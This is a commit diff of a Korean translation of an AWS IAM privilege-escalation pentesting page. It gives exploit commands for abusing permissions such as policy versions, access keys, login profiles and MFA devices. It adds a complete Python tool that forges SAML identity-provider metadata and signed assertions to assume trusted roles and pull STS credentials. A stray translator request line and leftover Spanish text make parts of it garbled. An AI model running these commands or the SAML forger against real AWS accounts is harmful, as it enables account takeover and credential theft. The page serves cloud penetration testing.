Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 17:02:11 +00:00
parent a0f103c899
commit 2797c4833c
@@ -4,7 +4,7 @@
## IAM
IAM에 대한 자세한 내용은 다음을 확인하세요:
IAM에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,42 +12,42 @@ IAM에 대한 자세한 내용은 다음을 확인하세요:
### **`iam:CreatePolicyVersion`**
새로운 IAM 정책 버전을 생성할 수 있는 권한을 부여하며, `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한을 우회합니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다.
`iam:SetDefaultPolicyVersion` 권한 없이 `--set-as-default` 플래그를 사용해 새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impact:** 모든 리소스에 대해 모든 작업을 허용함으로써 권한을 직접 상승시킵니다.
**Impact:** 모든 리소스에 대해 모든 작업을 허용하여 권한을 직접 상승시킵니다.
### **`iam:SetDefaultPolicyVersion`**
IAM policy의 기본 버전을 다른 기존 버전으로 변경할 수 있도록 허용하며, 새 버전 더 많은 권한이 있으면 잠재적으로 권한 상승 수 있습니다.
IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있하며, 새 버전 더 많은 권한을 가지고 있는 경우 잠재적으로 권한 상승을 초래할 수 있습니다.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact:** 간접적인 privilege escalation — 더 많은 권한을 부여할 수 있게 됨.
**영향:** 권한을 더 허용할 수 있게 하여 간접적인 privilege escalation로 이어질 수 있습니다.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
다른 사용자 access key ID와 secret access key를 생성할 수 있게 하며, 잠재적인 privilege escalation으로 이어질 수 있습니다.
다른 사용자를 위해 access key ID와 secret access key를 생성할 수 있게 하며, 이는 잠재적인 privilege escalation으로 이어질 수 있습니다.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** 다른 사용자의 확장된 권한을 가정하여 직접적인 privilege escalation을 수행할 수 있습니다.
**Impact:** 다른 사용자의 확장된 권한을 획득함으로써 직접적인 privilege escalation이 발생합니다.
Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one:
사용자는 최대 2개의 access keys만 생성할 수 있습니다. 따라서 사용자가 이미 2개의 access keys를 가지고 있다면 새 키를 생성하려면 그 중 하나를 삭제할 수 있는 권한인 `iam:DeleteAccessKey`가 필요합니다:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
새로운 가상 MFA 장치를 생성하고 다른 사용자에게 활성화할 수 있다면, 해당 사용자에 대해 사실상 자신의 MFA를 등록한 뒤 그 사용자의 자격 증명으로 MFA가 적용된 세션을 요청할 수 있습니다.
새로운 virtual MFA device를 생성하고 다른 사용자에게 활성화할 수 있다면, 해당 사용자에 대해 사실상 자신의 MFA를 등록한 다음 그들의 자격증명으로 MFA 기반 세션을 요청할 수 있습니다.
**Exploit:**
```bash
@@ -58,53 +58,79 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**영향:** 사용자의 MFA 등록을 탈취하고(그런 다음 해당 사용자의 권한을 사용하여) 직접적인 권한 상승을 초래합니다.
**영향:** 사용자의 MFA 등록을 탈취함으로써 직접적인 privilege escalation이 발생하며(그 후 해당 사용자의 권한을 사용함).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS console login의 비밀번호 설정을 포함 직접적인 권한 상승으로 이어집니다.
login profile을 생성하거나 업데이트할 수 있는 권한으로, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 직접적인 privilege escalation으로 이어질 수 있습니다.
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**업데이트를 위한 Exploit:**
**Exploit 업데이트용:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**영향:** "any" 사용자로 로그인하여 직접적인 권한 상승.
**Impact:** 직접적인 권한 상승 — "any" 사용자로 로그인하여.
### **`iam:UpdateAccessKey`**
비활성화된 액세스 키를 활성화할 수 있, 공격자가 해당 비활성화된 를 보유하고 있을 경우 무단 액세스로 이어질 수 있습니다.
비활성화된 access key를 활성화할 수 있으며, 공격자가 해당 비활성화된 access key를 보유하고 있다면 무단 액세스로 이어질 수 있습니다.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impact:** 액세스 키를 재활성화하여 직접적인 권한 상승.
**영향:** access keys를 재활성화함으로써 직접적인 권한 상승이 발생합니다.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명 생성하거나 재설정할 수 있으며, 연결된 사용자의 권한을 상속합니다.
특정 AWS 서비스(대부분 **CodeCommit**)에 대한 자격 증명 생성 또는 재설정을 가능하게 합니다. 이러한 자격 증명은 **AWS API keys**가 아니라, 특정 서비스용 **username/password** 자격증명이며 해당 서비스에서만 사용할 수 있습니다.
**Exploit for Creation:**
**생성:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
**Reset을 위한 Exploit:**
저장:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**예시:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> 참고: 서비스 비밀번호에는 종종 `+`, `/` 및 `=` 같은 문자가 포함됩니다. 대화형 프롬프트를 사용하는 것이 보통 가장 쉽습니다. URL에 포함시키는 경우 먼저 URL-encode하세요.
이 시점에서 대상 사용자가 CodeCommit에서 접근할 수 있는 모든 것을 읽을 수 있습니다(예: leaked credentials 파일). 리포지토리에서 **AWS access keys**를 얻었다면, 해당 키로 새로운 AWS CLI profile을 구성한 후 리소스에 접근하세요(예: Secrets Manager에서 플래그 읽기):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**재설정:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**영향:** 사용자 서비스 권한 내에서 직접적인 권한 상승.
**Impact:** 대상 사용자의 해당 서비스 권한으로의 Privilege escalation (해당 서비스에서 가져온 데이터를 사용해 pivot 하는 경우 그 이상으로 확장될 수 있음).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
사용자 그룹에 정책을 연결할 수 있어, 연결된 정책의 권한을 상속받아 권한을 직접 상승시킬 수 있습니다.
사용자 또는 그룹에 정책을 첨부할 수 있게 하며, 첨부된 정책의 권한을 상속받아 직접적으로 escalating privileges를 발생시킵니다.
**사용자용 Exploit:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -112,11 +138,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**영향:** 정책이 부여하는 모든 대상에 대해 Direct privilege escalation이 직접적으로 가능합니다.
**Impact:** 정책이 허용하는 모든 대상에 대해 직접적인 privilege escalation.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있 허용하 추가 권한을 부여함으로써 Direct privilege escalation을 가능하게 합니다.
역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있도록 허용하며, 추가 권한을 부여함으로써 direct privilege escalation을 가능하게 합니다.
**Exploit for Role:**
```bash
@@ -133,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
해당 파일 내용이 일부만 제공되었습니다. README.md의 전체 텍스트(또는 번역할 부분)를 붙여넣어 주세요. 제공해주시면 지침에 따라 Markdown/HTML 문법과 태그·링크·경로는 그대로 두고 영어 텍스트를 한국어로 번역해 드리겠습니다.
다음과 같은 정책을 사용할 수 있습니다:
```json
{
"Version": "2012-10-17",
@@ -146,28 +172,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
]
}
```
**영향:** 정책을 통해 permissions을 추가하여 직접적인 권한 상승.
**영향:** 정책을 통해 권한을 추가함으로써 직접적인 권한 상승을 일으킵니다.
### **`iam:AddUserToGroup`**
자신을 IAM 그룹에 추가할 수 있게 하, 그룹의 permissions을 상속받아 권한 상승시킵니다.
사용자가 자신을 IAM 그룹에 추가할 수 있게 하, 그룹의 권한을 상속받아 권한 상승니다.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**영향:** 그룹의 권한 수준으로 직접적인 권한 상승.
**영향:** 그룹의 권한 수준으로 직접 권한 상승이 발생합니다.
### **`iam:UpdateAssumeRolePolicy`**
역할의 assume role policy 문서를 변경할 수 있어 해당 역할 및 연관된 권한을 가정할 수 있게 다.
역할의 assume role policy 문서를 변경할 수 있어, 이 역할을 맡고(assume) 그에 따른 권한을 사용할 수 있게 합니다.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
정책이 다음과 같이 되어 있어 사용자가 역할을 맡을 수 있는 권한을 부여하는 경우:
정책이 다음과 같 사용자가 해당 역할을 맡을 수 있는 권한을 부여하는 경우:
```json
{
"Version": "2012-10-17",
@@ -182,11 +208,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
]
}
```
**Impact:** 어떤 역할의 권한을 가정하여 발생하는 직접적인 privilege escalation.
**Impact:** 임의의 role의 권한을 가정(assume)함으로써 발생하는 직접적인 privilege escalation.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
CodeCommit에 인증하기 위한 SSH 공개 키 업로드 MFA 디바이스 비활성화를 허용하며, 이는 잠재적인 간접적인 privilege escalation으로 이어질 수 있다.
CodeCommit에 인증하기 위한 SSH public key 업로드 MFA 장치 비활성화를 허용하며, 잠재적인 간접적인 privilege escalation으로 이어질 수 있습니다.
**Exploit for SSH Key Upload:**
```bash
@@ -196,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact:** CodeCommit 액세스 허용 또는 MFA 보호 비활성화로 인한 간접 privilege escalation.
**영향:** Indirect privilege escalation — CodeCommit 접근을 허용하거나 MFA 보호 비활성화함으로써 발생할 수 있음.
### **`iam:ResyncMFADevice`**
MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있습니다.
MFA 장치의 재동기화를 허용하며, MFA 보호를 조작함으로써 indirect privilege escalation을 초래할 수 있습니다.
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**영향:** MFA 장치를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
**Impact:** MFA devices를 추가하거나 조작함으로써 간접적인 권한 상승.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
이 권한을 이용하**SAML 연결의 XML 메타데이터를 변경할 수 있습니다**. 그런 다음, **SAML 페더레이션**을 악용해 그것을 신뢰하는 어떤 **role**로 **login**할 수 있습니다.
이 권한이 있으면 **SAML connection의 XML metadata를 변경**할 수 있습니다. 그런 다음 **SAML federation을 악용**하여 이를 신뢰하는 어떤 **role**로 **login**할 수 있습니다.
참고: 이렇게 하면 **정상 사용자들은 login할 수 없게 됩니다**. 그러나 XML을 획득할 수 있으므로, 자신의 XML을 넣고 login한 뒤 이전 상태로 다시 구성할 수 있습니다.
참고 이렇게 하면 **legit users won't be able to login**. 하지만 XML을 획득하면 자신의 을 넣고 로그인한 뒤 이전 설정을 다시 구성할 수 있습니다.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: 지정된 역할로 로그인할 수 있고 SAML 메타데이터를 생성할 수 있는 도구
**엔드 투 엔드 공격:**
1. SAML provider와 이를 신뢰하는 role을 열거한다:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. IdP 메타데이터 위조 + 역할/프로바이더 쌍에 대한 서명된 SAML 어설션:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>확장 가능: <code>/tmp/saml_forge.py</code> 헬퍼 (메타데이터 + 서명된 어설션)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid
from lxml import etree
from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}
issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)
response.remove(assertion)
response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
if __name__ == "__main__":
main()
```
</details>
3. SAML provider metadata를 IdP 인증서로 업데이트한 다음, 역할을 수임하고 반환된 STS 자격 증명을 사용합니다:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. 정리: 이전 메타데이터 복원:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> SAML provider 메타데이터를 업데이트하면 중단을 초래할 수 있습니다: 메타데이터가 적용되어 있는 동안 정상적인 SSO 사용자가 인증하지 못할 수 있습니다.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(확실하지 않음) 공격자가 이러한 **permissions** 가지고 있다면, 공급자를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다.
(확실하지 않음) 공격자가 이러한 **권한** 가지고 있다면, 공급자를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
permissions는 attacker가 user의 permissions boundary를 업데이트하도록 허용하여, 기존 permissions에 의해 보통 제한되는 작업을 수행할 수 있게 함으로써 privileges를 잠재적으로 상승시킬 수 있습니다.
권한은 공격자가 사용자의 permissions boundary를 업데이트할 수 있게 하며, 기존 권한으로는 제한 작업을 수행할 수 있도록 허용해 권한을 상승시킬 가능성이 있다.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -268,13 +540,13 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
iam:PutRolePermissionsBoundary 권한을 가진 주체는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사람이 역할의 경계를 변경하면 위험이 발생합니다: 운영을 부적절하게 제한하여 서비스 중단을 초래할 수 있고, 관대한 경계를 붙이면 역할이 할 수 있는 작업이 실질적으로 확장되어 권한 상승으로 이어질 수 있습니다.
iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사람이 역할의 경계를 변경하면 위험이 발생합니다: 작업을 부적절하게 제한하여 서비스 중단을 초래할 수 있으며, 반대로 관대한 권한 경계를 연결하면 역할이 수행할 수 있는 작업을 사실상 확장시켜 권한 상승을 일으킬 수 있습니다.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
## 참
## 참고자료
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)